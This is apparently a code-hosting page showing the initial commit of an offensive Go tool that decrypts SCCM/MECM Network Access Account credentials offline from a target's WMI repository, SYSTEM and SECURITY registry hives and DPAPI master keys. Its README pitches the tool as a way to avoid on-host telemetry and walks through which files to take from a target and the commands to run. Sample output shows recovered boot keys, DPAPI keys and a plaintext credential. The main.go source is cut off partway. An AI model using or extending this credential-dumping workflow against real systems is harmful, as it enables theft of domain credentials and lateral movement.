[SHEHZADE//ABDULLAH ANSARI]
Red Team Consultant @ Google | MS in Cybersecurity @ NYU
● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
Offline extractor and decryptor for SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk WMI repositories and DPAPI master keys.
$
git clone https://shehzade.io/repos/naa-dump-offline.git
Copy
Source ZIP (290.0 KB)
Prebuilt Binaries
Initial commit
Abdullah Ansari · 2026-11-06 00:09 ·
da0de6efb7cf5202a382a16aeb92e0cf3641ddf9 .gitignore
| ... | ... | @@ -0,0 +1,17 @@ |
| 1 | +/naa-dump-offline | |
| 2 | +/naa-dump-offline-* | |
| 3 | +/dist/ | |
| 4 | +*.exe | |
| 5 | +*.dll | |
| 6 | +*.so | |
| 7 | +*.dylib | |
| 8 | +*.data | |
| 9 | +*.raw | |
| 10 | +*.vmdk | |
| 11 | +*.vhdx | |
| 12 | +*.vss | |
| 13 | +*.zip | |
| 14 | +.idea/ | |
| 15 | +.vscode/ | |
| 16 | +*.swp | |
| 17 | +.DS_Store |
LICENSE
| ... | ... | @@ -0,0 +1,201 @@ |
| 1 | + Apache License | |
| 2 | + Version 2.0, January 2004 | |
| 3 | + http://www.apache.org/licenses/ | |
| 4 | + | |
| 5 | + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION | |
| 6 | + | |
| 7 | + 1. Definitions. | |
| 8 | + | |
| 9 | + "License" shall mean the terms and conditions for use, reproduction, | |
| 10 | + and distribution as defined by Sections 1 through 9 of this document. | |
| 11 | + | |
| 12 | + "Licensor" shall mean the copyright owner or entity authorized by | |
| 13 | + the copyright owner that is granting the License. | |
| 14 | + | |
| 15 | + "Legal Entity" shall mean the union of the acting entity and all | |
| 16 | + other entities that control, are controlled by, or are under common | |
| 17 | + control with that entity. For the purposes of this definition, | |
| 18 | + "control" means (i) the power, direct or indirect, to cause the | |
| 19 | + direction or management of such entity, whether by contract or | |
| 20 | + otherwise, or (ii) ownership of fifty percent (50%) or more of the | |
| 21 | + outstanding shares, or (iii) beneficial ownership of such entity. | |
| 22 | + | |
| 23 | + "You" (or "Your") shall mean an individual or Legal Entity | |
| 24 | + exercising permissions granted by this License. | |
| 25 | + | |
| 26 | + "Source" form shall mean the preferred form for making modifications, | |
| 27 | + including but not limited to software source code, documentation | |
| 28 | + source, and configuration files. | |
| 29 | + | |
| 30 | + "Object" form shall mean any form resulting from mechanical | |
| 31 | + transformation or translation of a Source form, including but | |
| 32 | + not limited to compiled object code, generated documentation, | |
| 33 | + and conversions to other media types. | |
| 34 | + | |
| 35 | + "Work" shall mean the work of authorship, whether in Source or | |
| 36 | + Object form, made available under the License, as indicated by a | |
| 37 | + copyright notice that is included in or attached to the work | |
| 38 | + (an example is provided in the Appendix below). | |
| 39 | + | |
| 40 | + "Derivative Works" shall mean any work, whether in Source or Object | |
| 41 | + form, that is based on (or derived from) the Work and for which the | |
| 42 | + editorial revisions, annotations, elaborations, or other modifications | |
| 43 | + represent, as a whole, an original work of authorship. For the purposes | |
| 44 | + of this License, Derivative Works shall not include works that remain | |
| 45 | + separable from, or merely link (or bind by name) to the interfaces of, | |
| 46 | + the Work and Derivative Works thereof. | |
| 47 | + | |
| 48 | + "Contribution" shall mean any work of authorship, including | |
| 49 | + the original version of the Work and any modifications or additions | |
| 50 | + to that Work or Derivative Works thereof, that is intentionally | |
| 51 | + submitted to Licensor for inclusion in the Work by the copyright owner | |
| 52 | + or by an individual or Legal Entity authorized to submit on behalf of | |
| 53 | + the copyright owner. For the purposes of this definition, "submitted" | |
| 54 | + means any form of electronic, verbal, or written communication sent | |
| 55 | + to the Licensor or its representatives, including but not limited to | |
| 56 | + communication on electronic mailing lists, source code control systems, | |
| 57 | + and issue tracking systems that are managed by, or on behalf of, the | |
| 58 | + Licensor for the purpose of discussing and improving the Work, but | |
| 59 | + excluding communication that is conspicuously marked or otherwise | |
| 60 | + designated in writing by the copyright owner as "Not a Contribution." | |
| 61 | + | |
| 62 | + "Contributor" shall mean Licensor and any individual or Legal Entity | |
| 63 | + on behalf of whom a Contribution has been received by Licensor and | |
| 64 | + subsequently incorporated within the Work. | |
| 65 | + | |
| 66 | + 2. Grant of Copyright License. Subject to the terms and conditions of | |
| 67 | + this License, each Contributor hereby grants to You a perpetual, | |
| 68 | + worldwide, non-exclusive, no-charge, royalty-free, irrevocable | |
| 69 | + copyright license to reproduce, prepare Derivative Works of, | |
| 70 | + publicly display, publicly perform, sublicense, and distribute the | |
| 71 | + Work and such Derivative Works in Source or Object form. | |
| 72 | + | |
| 73 | + 3. Grant of Patent License. Subject to the terms and conditions of | |
| 74 | + this License, each Contributor hereby grants to You a perpetual, | |
| 75 | + worldwide, non-exclusive, no-charge, royalty-free, irrevocable | |
| 76 | + (except as stated in this section) patent license to make, have made, | |
| 77 | + use, offer to sell, sell, import, and otherwise transfer the Work, | |
| 78 | + where such license applies only to those patent claims licensable | |
| 79 | + by such Contributor that are necessarily infringed by their | |
| 80 | + Contribution(s) alone or by combination of their Contribution(s) | |
| 81 | + with the Work to which such Contribution(s) was submitted. If You | |
| 82 | + institute patent litigation against any entity (including a | |
| 83 | + cross-claim or counterclaim in a lawsuit) alleging that the Work | |
| 84 | + or a Contribution incorporated within the Work constitutes direct | |
| 85 | + or contributory patent infringement, then any patent licenses | |
| 86 | + granted to You under this License for that Work shall terminate | |
| 87 | + as of the date such litigation is filed. | |
| 88 | + | |
| 89 | + 4. Redistribution. You may reproduce and distribute copies of the | |
| 90 | + Work or Derivative Works thereof in any medium, with or without | |
| 91 | + modifications, and in Source or Object form, provided that You | |
| 92 | + meet the following conditions: | |
| 93 | + | |
| 94 | + (a) You must give any other recipients of the Work or | |
| 95 | + Derivative Works a copy of this License; and | |
| 96 | + | |
| 97 | + (b) You must cause any modified files to carry prominent notices | |
| 98 | + stating that You changed the files; and | |
| 99 | + | |
| 100 | + (c) You must retain, in the Source form of any Derivative Works | |
| 101 | + that You distribute, all copyright, patent, trademark, and | |
| 102 | + attribution notices from the Source form of the Work, | |
| 103 | + excluding those notices that do not pertain to any part of | |
| 104 | + the Derivative Works; and | |
| 105 | + | |
| 106 | + (d) If the Work includes a "NOTICE" text file as part of its | |
| 107 | + distribution, then any Derivative Works that You distribute must | |
| 108 | + include a readable copy of the attribution notices contained | |
| 109 | + within such NOTICE file, excluding those notices that do not | |
| 110 | + pertain to any part of the Derivative Works, in at least one | |
| 111 | + of the following places: within a NOTICE text file distributed | |
| 112 | + as part of the Derivative Works; within the Source form or | |
| 113 | + documentation, if provided along with the Derivative Works; or, | |
| 114 | + within a display generated by the Derivative Works, if and | |
| 115 | + wherever such third-party notices normally appear. The contents | |
| 116 | + of the NOTICE file are for informational purposes only and | |
| 117 | + do not modify the License. You may add Your own attribution | |
| 118 | + notices within Derivative Works that You distribute, alongside | |
| 119 | + or as an addendum to the NOTICE text from the Work, provided | |
| 120 | + that such additional attribution notices cannot be construed | |
| 121 | + as modifying the License. | |
| 122 | + | |
| 123 | + You may add Your own copyright statement to Your modifications and | |
| 124 | + may provide additional or different license terms and conditions | |
| 125 | + for use, reproduction, or distribution of Your modifications, or | |
| 126 | + for any such Derivative Works as a whole, provided Your use, | |
| 127 | + reproduction, and distribution of the Work otherwise complies with | |
| 128 | + the conditions stated in this License. | |
| 129 | + | |
| 130 | + 5. Submission of Contributions. Unless You explicitly state otherwise, | |
| 131 | + any Contribution intentionally submitted for inclusion in the Work | |
| 132 | + by You to the Licensor shall be under the terms and conditions of | |
| 133 | + this License, without any additional terms or conditions. | |
| 134 | + Notwithstanding the above, nothing herein shall supersede or modify | |
| 135 | + the terms of any separate license agreement you may have executed | |
| 136 | + with Licensor regarding such Contributions. | |
| 137 | + | |
| 138 | + 6. Trademarks. This License does not grant permission to use the trade | |
| 139 | + names, trademarks, service marks, or product names of the Licensor, | |
| 140 | + except as required for reasonable and customary use in describing the | |
| 141 | + origin of the Work and reproducing the content of the NOTICE file. | |
| 142 | + | |
| 143 | + 7. Disclaimer of Warranty. Unless required by applicable law or | |
| 144 | + agreed to in writing, Licensor provides the Work (and each | |
| 145 | + Contributor provides its Contributions) on an "AS IS" BASIS, | |
| 146 | + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or | |
| 147 | + implied, including, without limitation, any warranties or conditions | |
| 148 | + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A | |
| 149 | + PARTICULAR PURPOSE. You are solely responsible for determining the | |
| 150 | + appropriateness of using or redistributing the Work and assume any | |
| 151 | + risks associated with Your exercise of permissions under this License. | |
| 152 | + | |
| 153 | + 8. Limitation of Liability. In no event and under no legal theory, | |
| 154 | + whether in tort (including negligence), contract, or otherwise, | |
| 155 | + unless required by applicable law (such as deliberate and grossly | |
| 156 | + negligent acts) or agreed to in writing, shall any Contributor be | |
| 157 | + liable to You for damages, including any direct, indirect, special, | |
| 158 | + incidental, or exemplary damages of any character arising as a | |
| 159 | + result of this License or out of the use or inability to use the | |
| 160 | + Work (including but not limited to damages for loss of goodwill, | |
| 161 | + work stoppage, computer failure or malfunction, or any and all | |
| 162 | + other commercial damages or losses), even if such Contributor | |
| 163 | + has been advised of the possibility of such damages. | |
| 164 | + | |
| 165 | + 9. Accepting Warranty or Additional Liability. While redistributing | |
| 166 | + the Work or Derivative Works thereof, You may choose to offer, | |
| 167 | + and charge a fee for, acceptance of support, warranty, indemnity, | |
| 168 | + or other liability obligations and/or rights consistent with this | |
| 169 | + License. However, in accepting such obligations, You may act only | |
| 170 | + on Your own behalf and on Your sole responsibility, not on behalf | |
| 171 | + of any other Contributor, and only if You agree to indemnify, | |
| 172 | + defend, and hold each Contributor harmless for any liability | |
| 173 | + incurred by, or claims asserted against, such Contributor by reason | |
| 174 | + of your accepting any such warranty or additional liability. | |
| 175 | + | |
| 176 | + END OF TERMS AND CONDITIONS | |
| 177 | + | |
| 178 | + APPENDIX: How to apply the Apache License to your work. | |
| 179 | + | |
| 180 | + To apply the Apache License to your work, attach the following | |
| 181 | + boilerplate notice, with the fields enclosed by brackets "[]" | |
| 182 | + replaced with your own identifying information. (Don't include | |
| 183 | + the brackets!) The text should be enclosed in the appropriate | |
| 184 | + comment syntax for the file format. We also recommend that a | |
| 185 | + file or class name and description of purpose be included on the | |
| 186 | + same "printed page" as the copyright notice for easier | |
| 187 | + identification within third-party archives. | |
| 188 | + | |
| 189 | + Copyright 2026 Abdullah Ansari | |
| 190 | + | |
| 191 | + Licensed under the Apache License, Version 2.0 (the "License"); | |
| 192 | + you may not use this file except in compliance with the License. | |
| 193 | + You may obtain a copy of the License at | |
| 194 | + | |
| 195 | + http://www.apache.org/licenses/LICENSE-2.0 | |
| 196 | + | |
| 197 | + Unless required by applicable law or agreed to in writing, software | |
| 198 | + distributed under the License is distributed on an "AS IS" BASIS, | |
| 199 | + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
| 200 | + See the License for the specific language governing permissions and | |
| 201 | + limitations under the License. |
Makefile
| ... | ... | @@ -0,0 +1,19 @@ |
| 1 | +BINARY_NAME=naa-dump-offline | |
| 2 | +SRC=cmd/naa-dump-offline/main.go | |
| 3 | + | |
| 4 | +.PHONY: all build build-all clean | |
| 5 | + | |
| 6 | +all: build | |
| 7 | + | |
| 8 | +build: | |
| 9 | + go build -ldflags="-s -w" -o $(BINARY_NAME) $(SRC) | |
| 10 | + | |
| 11 | +build-all: | |
| 12 | + GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o $(BINARY_NAME)-linux-amd64 $(SRC) | |
| 13 | + GOOS=linux GOARCH=arm64 go build -ldflags="-s -w" -o $(BINARY_NAME)-linux-arm64 $(SRC) | |
| 14 | + GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o $(BINARY_NAME).exe $(SRC) | |
| 15 | + GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -o $(BINARY_NAME)-darwin-amd64 $(SRC) | |
| 16 | + GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -o $(BINARY_NAME)-darwin-arm64 $(SRC) | |
| 17 | + | |
| 18 | +clean: | |
| 19 | + rm -f $(BINARY_NAME) $(BINARY_NAME).exe $(BINARY_NAME)-* |
README.md
| ... | ... | @@ -0,0 +1,131 @@ |
| 1 | +# naa-dump-offline | |
| 2 | + | |
| 3 | +Offline tool to carve and decrypt SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk artifacts (`OBJECTS.DATA`, registry hives, and DPAPI master keys). | |
| 4 | + | |
| 5 | +## Table of Contents | |
| 6 | + | |
| 7 | +- [Why / The Gap This Fills](#why--the-gap-this-fills) | |
| 8 | +- [How It Works](#how-it-works) | |
| 9 | +- [Required Files](#required-files) | |
| 10 | +- [Build](#build) | |
| 11 | +- [Usage](#usage) | |
| 12 | + - [Find the required MasterKey GUID](#find-the-required-masterkey-guid) | |
| 13 | + - [Decrypt with registry hives and MasterKey file](#decrypt-with-registry-hives-and-masterkey-file) | |
| 14 | + - [Decrypt with a pre-decrypted MasterKey](#decrypt-with-a-pre-decrypted-masterkey) | |
| 15 | +- [License](#license) | |
| 16 | + | |
| 17 | +## Why / The Gap This Fills | |
| 18 | + | |
| 19 | +Techniques documented under [CRED-4](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-4/cred-4_description.md) in Misconfiguration Manager cover extracting NAA credentials from client disk storage. Existing tooling like SharpSCCM (`local secrets -m disk`) accomplishes this on live Windows targets by invoking Win32/WMI APIs and modifying registry ACLs on `HKLM\SECURITY\Policy\Secrets\DPAPI_SYSTEM\CurrVal` and `HKLM\SECURITY\Policy\PolEKList` to access machine keys. That workflow requires on-host code execution and generates observable telemetry. | |
| 20 | + | |
| 21 | +Doing this offline previously meant chaining multiple scripts across Python, PowerShell, and C# to dump hives, extract LSA secrets, decrypt DPAPI master keys, and carve WMI records out of CIM repository files. Cross-platform support was also limited for teams triaging disk images or volume shadow copies on Linux or macOS. | |
| 22 | + | |
| 23 | +`naa-dump-offline` consolidates the full extraction chain into a single compiled Go binary with no external runtime dependencies. It parses the raw file structures directly (registry hives, DPAPI MasterKey files, and WMI B-Tree records) to carve and decrypt NAA credentials completely offline without running code on the target host. | |
| 24 | + | |
| 25 | +## How It Works | |
| 26 | + | |
| 27 | +When an SCCM client receives policy containing Network Access Account credentials or task sequence secrets, the values are DPAPI-encrypted under the `NT AUTHORITY\SYSTEM` context and stored in the WMI repository (`C:\Windows\System32\wbem\Repository\OBJECTS.DATA`). | |
| 28 | + | |
| 29 | +Instead of querying WMI on a live host, `naa-dump-offline` parses the raw files offline: | |
| 30 | +1. Scans `OBJECTS.DATA` for encrypted SCCM policy DPAPI blobs and identifies which SYSTEM MasterKey GUID is needed. | |
| 31 | +2. Extracts the BootKey from the `SYSTEM` hive and decrypts the `DPAPI_SYSTEM` LSA secret from the `SECURITY` hive. | |
| 32 | +3. Uses the `DPAPI_SYSTEM` user/machine keys to decrypt the target SYSTEM MasterKey file. | |
| 33 | +4. Decrypts the carved WMI blobs, decompresses any zlib-packed `PolicyXML` streams, and extracts plaintext credentials. | |
| 34 | + | |
| 35 | +## Required Files | |
| 36 | + | |
| 37 | +| File | Default Path | | |
| 38 | +|---|---| | |
| 39 | +| `OBJECTS.DATA` | `C:\Windows\System32\wbem\Repository\OBJECTS.DATA` | | |
| 40 | +| `SYSTEM` | `C:\Windows\System32\config\SYSTEM` | | |
| 41 | +| `SECURITY` | `C:\Windows\System32\config\SECURITY` | | |
| 42 | +| `<GUID>` | `C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\<GUID>` | | |
| 43 | + | |
| 44 | +## Build | |
| 45 | + | |
| 46 | +Requires Go 1.21+. | |
| 47 | + | |
| 48 | +```bash | |
| 49 | +make build | |
| 50 | +``` | |
| 51 | + | |
| 52 | +Cross-compile for Linux, Windows, and macOS: | |
| 53 | + | |
| 54 | +```bash | |
| 55 | +make build-all | |
| 56 | +``` | |
| 57 | + | |
| 58 | +## Usage | |
| 59 | + | |
| 60 | +```text | |
| 61 | +Usage: naa-dump-offline -o OBJECTS.DATA [options] | |
| 62 | + | |
| 63 | +Options: | |
| 64 | + -o, -objects string | |
| 65 | + Path to OBJECTS.DATA file | |
| 66 | + -sys, -system string | |
| 67 | + Path to SYSTEM registry hive | |
| 68 | + -sec, -security string | |
| 69 | + Path to SECURITY registry hive | |
| 70 | + -m, -master-key string | |
| 71 | + Path to MasterKey file | |
| 72 | + -k string | |
| 73 | + Decrypted MasterKey in hex (optional) | |
| 74 | + -json | |
| 75 | + Output results in JSON format | |
| 76 | + -v Verbose output (show decrypted policy secrets) | |
| 77 | +``` | |
| 78 | + | |
| 79 | +### Find the required MasterKey GUID | |
| 80 | + | |
| 81 | +Pull `OBJECTS.DATA` first and run without registry keys to see which MasterKey file you need to grab from the target: | |
| 82 | + | |
| 83 | +```bash | |
| 84 | +./naa-dump-offline -o OBJECTS.DATA | |
| 85 | +``` | |
| 86 | + | |
| 87 | +```text | |
| 88 | +[*] Scanning OBJECTS.DATA for encrypted policy blobs... | |
| 89 | +[+] Found 19 encrypted blobs (6 unique) | |
| 90 | + - MasterKey GUID: f5145914-dec0-40ee-a2d2-a40376c4b3e6 (19 blobs) | |
| 91 | + | |
| 92 | +[*] Required MasterKey file: | |
| 93 | + %SystemRoot%\System32\Microsoft\Protect\S-1-5-18\User\f5145914-dec0-40ee-a2d2-a40376c4b3e6 | |
| 94 | +``` | |
| 95 | + | |
| 96 | +### Decrypt with registry hives and MasterKey file | |
| 97 | + | |
| 98 | +Once you pull `SYSTEM`, `SECURITY`, and the target MasterKey file: | |
| 99 | + | |
| 100 | +```bash | |
| 101 | +./naa-dump-offline -o OBJECTS.DATA -sys SYSTEM -sec SECURITY -m f5145914-dec0-40ee-a2d2-a40376c4b3e6 | |
| 102 | +``` | |
| 103 | + | |
| 104 | +```text | |
| 105 | +[*] Scanning OBJECTS.DATA for encrypted policy blobs... | |
| 106 | +[+] Found 19 encrypted blobs (6 unique) | |
| 107 | + - MasterKey GUID: f5145914-dec0-40ee-a2d2-a40376c4b3e6 (19 blobs) | |
| 108 | +[*] Parsing SYSTEM hive: SYSTEM | |
| 109 | +[+] BootKey: 0xfb354c003764f5e1ea29204b5f162a9d | |
| 110 | +[*] Parsing SECURITY hive: SECURITY | |
| 111 | +[+] DPAPI UserKey: 0xd6b33ef5cfe833c357590f5d48f5a87db0adcccf | |
| 112 | +[+] DPAPI MachineKey: 0x27c72e12f2827ac91ef78520240249fa914f1f62 | |
| 113 | +[*] Decrypting MasterKey from f5145914-dec0-40ee-a2d2-a40376c4b3e6 | |
| 114 | +[+] MasterKey (f5145914-dec0-40ee-a2d2-a40376c4b3e6): 0x77e2f2fea604d8ce4620cd6cbf5aa706... | |
| 115 | +[*] Decrypting 6 policy blobs... | |
| 116 | + | |
| 117 | +[+] Extracted credentials: | |
| 118 | + sccm.lab\sccm-naa:123456789 | |
| 119 | +``` | |
| 120 | + | |
| 121 | +### Decrypt with a pre-decrypted MasterKey | |
| 122 | + | |
| 123 | +If you already have the 64-byte MasterKey in hex: | |
| 124 | + | |
| 125 | +```bash | |
| 126 | +./naa-dump-offline -o OBJECTS.DATA -k 77e2f2fea604d8ce4620cd6cbf5aa7063542e4ad31d064a3c6b8dbd25bed5d01... | |
| 127 | +``` | |
| 128 | + | |
| 129 | +## License | |
| 130 | + | |
| 131 | +Apache License 2.0 |
cmd/naa-dump-offline/main.go
| ... | ... | @@ -0,0 +1,349 @@ |
| 1 | +package main | |
| 2 | + | |
| 3 | +import ( | |
| 4 | + "encoding/hex" | |
| 5 | + "encoding/json" | |
| 6 | + "flag" | |
| 7 | + "fmt" | |
| 8 | + "os" | |
| 9 | + "strings" | |
| 10 | + | |
| 11 | + "github.com/shehzade/naa-dump-offline/pkg/dpapi" | |
| 12 | + "github.com/shehzade/naa-dump-offline/pkg/registry" | |
| 13 | + "github.com/shehzade/naa-dump-offline/pkg/wmi" | |
| 14 | +) | |
| 15 | + | |
| 16 | +const banner = ` | |
| 17 | + __ | |
| 18 | + ____ ____ _____ _ ____/ /_ ______ ___ ____ | |
| 19 | + / __ \/ __ '/ __ '/_____/ __ / / / / __ '__ \/ __ \ | |
| 20 | + / / / / /_/ / /_/ /_____/ /_/ / /_/ / / / / / / /_/ / | |
| 21 | +/_/ /_/\__,_/\__,_/ \__,_/\__,_/_/ /_/ /_/ .___/ | |
| 22 | + /_/ | |
| 23 | +` | |
| 24 | + | |
| 25 | +type JSONOutput struct { | |
| 26 | + ObjectsFile string `json:"objects_file,omitempty"` | |
| 27 | + TotalBlobs int `json:"total_blobs"` | |
| 28 | + UniqueBlobs int `json:"unique_blobs"` | |
| 29 | + RequiredMasterKeys []string `json:"required_masterkeys,omitempty"` | |
| 30 | + BootKey string `json:"bootkey,omitempty"` | |
| 31 | + DPAPIUserKey string `json:"dpapi_userkey,omitempty"` | |
| 32 | + DPAPIMachineKey string `json:"dpapi_machinekey,omitempty"` | |
| 33 | + DecryptedMasterKey string `json:"decrypted_masterkey,omitempty"` | |
| 34 | + MasterKeySource string `json:"masterkey_source,omitempty"` | |
| 35 | + Credentials []wmi.NAACredential `json:"credentials"` | |
| 36 | + Secrets []*wmi.CarvedSecret `json:"secrets,omitempty"` | |
| 37 | +} | |
| 38 | + | |
| 39 | +func main() { | |
| 40 | + var ( | |
| 41 | + objectsPath = flag.String("o", "", "Path to OBJECTS.DATA file") | |
| 42 | + objectsLong = flag.String("objects", "", "Path to OBJECTS.DATA file") | |
| 43 | + sysPath = flag.String("sys", "", "Path to SYSTEM registry hive") | |
| 44 | + sysLong = flag.String("system", "", "Path to SYSTEM registry hive") | |
| 45 | + secPath = flag.String("sec", "", "Path to SECURITY registry hive") | |
| 46 | + secLong = flag.String("security", "", "Path to SECURITY registry hive") | |
| 47 | + mkPath = flag.String("m", "", "Path to MasterKey file") | |
| 48 | + mkLong = flag.String("master-key", "", "Path to MasterKey file") | |
| 49 | + keyHex = flag.String("k", "", "Decrypted MasterKey in hex (optional)") | |
| 50 | + jsonMode = flag.Bool("json", false, "Output results in JSON format") | |
| 51 | + verbose = flag.Bool("v", false, "Verbose output (show decrypted policy secrets)") | |
| 52 | + ) | |
| 53 | + | |
| 54 | + flag.Usage = func() { | |
| 55 | + fmt.Fprintf(os.Stderr, "%s\n", banner) | |
| 56 | + fmt.Fprintf(os.Stderr, "Usage: naa-dump-offline -o OBJECTS.DATA [options]\n\n") | |
| 57 | + fmt.Fprintf(os.Stderr, "Options:\n") | |
| 58 | + flag.PrintDefaults() | |
| 59 | + fmt.Fprintf(os.Stderr, "\nExamples:\n") | |
| 60 | + fmt.Fprintf(os.Stderr, " naa-dump-offline -o OBJECTS.DATA\n") | |
| 61 | + fmt.Fprintf(os.Stderr, " naa-dump-offline -o OBJECTS.DATA -sys SYSTEM -sec SECURITY -m <masterkey-file>\n") | |
| 62 | + fmt.Fprintf(os.Stderr, " naa-dump-offline -o OBJECTS.DATA -k <masterkey-hex>\n") | |
| 63 | + } | |
| 64 | + | |
| 65 | + flag.Parse() | |
| 66 | + | |
| 67 | + objects := *objectsPath | |
| 68 | + if objects == "" { | |
| 69 | + objects = *objectsLong | |
| 70 | + } | |
| 71 | + system := *sysPath | |
| 72 | + if system == "" { | |
| 73 | + system = *sysLong | |
| 74 | + } | |
| 75 | + security := *secPath | |
| 76 | + if security == "" { | |
| 77 | + security = *secLong | |
| 78 | + } | |
| 79 | + masterKey := *mkPath | |
| 80 | + if masterKey == "" { | |
| 81 | + masterKey = *mkLong | |
| 82 | + } | |
| 83 | + | |
| 84 | + if objects == "" { | |
| 85 | + if *jsonMode { | |
| 86 | + logError(true, "-o (path to OBJECTS.DATA) is required") | |
| 87 | + } else { | |
| 88 | + fmt.Fprintf(os.Stderr, "[!] Error: -o (path to OBJECTS.DATA) is required.\n\n") | |
| 89 | + flag.Usage() | |
| 90 | + } | |
| 91 | + os.Exit(1) | |
| 92 | + } | |
| 93 | + | |
| 94 | + if (system != "" && security == "") || (system == "" && security != "") { | |
| 95 | + logError(*jsonMode, "Both -sys and -sec must be provided together.") | |
| 96 | + os.Exit(1) | |
| 97 | + } | |
| 98 | + | |
| 99 | + if masterKey != "" && (system == "" || security == "") && *keyHex == "" { | |
| 100 | + logError(*jsonMode, "Both -sys and -sec are required when using -m.") | |
| 101 | + os.Exit(1) | |
| 102 | + } | |
| 103 | + | |
| 104 | + out := JSONOutput{ | |
| 105 | + ObjectsFile: objects, | |
| 106 | + Credentials: []wmi.NAACredential{}, | |
| 107 | + } | |
| 108 | + | |
| 109 | + if !*jsonMode { | |
| 110 | + fmt.Print(banner) | |
| 111 | + } | |
| 112 | + | |
| 113 | + var carverRes *wmi.CarverResult | |
| 114 | + if objects != "" { | |
| 115 | + if !*jsonMode { | |
| 116 | + fmt.Printf("[*] Scanning %s for encrypted policy blobs...\n", objects) | |
| 117 | + } | |
| 118 | + var err error | |
| 119 | + carverRes, err = wmi.ScanObjectsData(objects) | |
| 120 | + if err != nil { | |
| 121 | + logError(*jsonMode, "Failed to scan OBJECTS.DATA: %v", err) | |
| 122 | + os.Exit(1) | |
| 123 | + } | |
| 124 | + out.TotalBlobs = carverRes.TotalBlobs | |
| 125 | + out.UniqueBlobs = len(carverRes.UniqueBlobs) | |
| 126 | + out.RequiredMasterKeys = carverRes.RequiredGUIDs | |
| 127 | + | |
| 128 | + if !*jsonMode { | |
| 129 | + fmt.Printf("[+] Found %d encrypted blobs (%d unique)\n", | |
| 130 | + carverRes.TotalBlobs, len(carverRes.UniqueBlobs)) | |
| 131 | + for _, guid := range carverRes.RequiredGUIDs { | |
| 132 | + count := carverRes.GUIDCounts[guid] | |
| 133 | + fmt.Printf(" - MasterKey GUID: %s (%d blobs)\n", guid, count) | |
| 134 | + } | |
| 135 | + } | |
| 136 | + | |
| 137 | + if len(carverRes.UniqueBlobs) == 0 { | |
| 138 | + if *jsonMode { | |
| 139 | + printJSON(out) | |
| 140 | + } else { | |
| 141 | + fmt.Println("[-] No encrypted policy blobs found.") | |
| 142 | + } | |
| 143 | + return | |
| 144 | + } | |
| 145 | + } | |
| 146 | + | |
| 147 | + if system == "" && security == "" && *keyHex == "" { | |
| 148 | + if !*jsonMode { | |
| 149 | + fmt.Println("\n[*] Required MasterKey file:") | |
| 150 | + for _, guid := range carverRes.RequiredGUIDs { | |
| 151 | + fmt.Printf(" %%SystemRoot%%\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\%s\n", guid) | |
| 152 | + } | |
| 153 | + } else { | |
| 154 | + printJSON(out) | |
| 155 | + } | |
| 156 | + return | |
| 157 | + } | |
| 158 | + | |
| 159 | + var systemKeys *registry.DPAPISystemKeys | |
| 160 | + if system != "" && security != "" { | |
| 161 | + if !*jsonMode { | |
| 162 | + fmt.Printf("[*] Parsing SYSTEM hive: %s\n", system) | |
| 163 | + } | |
| 164 | + bootKey, err := registry.GetBootKey(system) | |
| 165 | + if err != nil { | |
| 166 | + logError(*jsonMode, "Failed to parse BootKey: %v", err) | |
| 167 | + os.Exit(1) | |
| 168 | + } | |
| 169 | + out.BootKey = fmt.Sprintf("0x%x", bootKey) | |
| 170 | + if !*jsonMode { | |
| 171 | + fmt.Printf("[+] BootKey: 0x%x\n", bootKey) | |
| 172 | + fmt.Printf("[*] Parsing SECURITY hive: %s\n", security) | |
| 173 | + } | |
| 174 | + | |
| 175 | + systemKeys, err = registry.ExtractDPAPISystemKeys(security, bootKey) | |
| 176 | + if err != nil { | |
| 177 | + logError(*jsonMode, "Failed to extract DPAPI_SYSTEM keys: %v", err) | |
| 178 | + os.Exit(1) | |
| 179 | + } | |
| 180 | + | |
| 181 | + out.DPAPIUserKey = fmt.Sprintf("0x%x", systemKeys.UserKey) | |
| 182 | + out.DPAPIMachineKey = fmt.Sprintf("0x%x", systemKeys.MachineKey) | |
| 183 | + if !*jsonMode { | |
| 184 | + fmt.Printf("[+] DPAPI UserKey: 0x%x\n", systemKeys.UserKey) | |
| 185 | + fmt.Printf("[+] DPAPI MachineKey: 0x%x\n", systemKeys.MachineKey) | |
| 186 | + } | |
| 187 | + } | |
| 188 | + | |
| 189 | + if masterKey == "" && *keyHex == "" { | |
| 190 | + if !*jsonMode { | |
| 191 | + fmt.Println("\n[*] Required MasterKey file:") | |
| 192 | + for _, guid := range carverRes.RequiredGUIDs { | |
| 193 | + fmt.Printf(" %%SystemRoot%%\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\%s\n", guid) | |
| 194 | + } | |
| 195 | + } else { | |
| 196 | + printJSON(out) | |
| 197 | + } | |
| 198 | + return | |
| 199 | + } | |
| 200 | + | |
| 201 | + masterKeysMap := make(map[string][]byte) | |
| 202 | + | |
| 203 | + if *keyHex != "" { | |
| 204 | + rawHex := strings.TrimPrefix(strings.TrimSpace(*keyHex), "0x") | |
| 205 | + rawKey, err := hex.DecodeString(rawHex) | |
| 206 | + if err != nil || len(rawKey) != 64 { | |
| 207 | + logError(*jsonMode, "Invalid -k MasterKey hex: expected 64 bytes (128 hex characters)") | |
| 208 | + os.Exit(1) | |
| 209 | + } | |
| 210 | + out.DecryptedMasterKey = fmt.Sprintf("0x%x", rawKey) | |
| 211 | + out.MasterKeySource = "User provided (-k)" | |
| 212 | + for _, guid := range carverRes.RequiredGUIDs { | |
| 213 | + masterKeysMap[guid] = rawKey | |
| 214 | + } | |
| 215 | + if !*jsonMode { | |
| 216 | + fmt.Printf("[+] Using supplied MasterKey: 0x%x\n", rawKey) | |
| 217 | + } | |
| 218 | + } else if masterKey != "" { | |
| 219 | + if !*jsonMode { | |
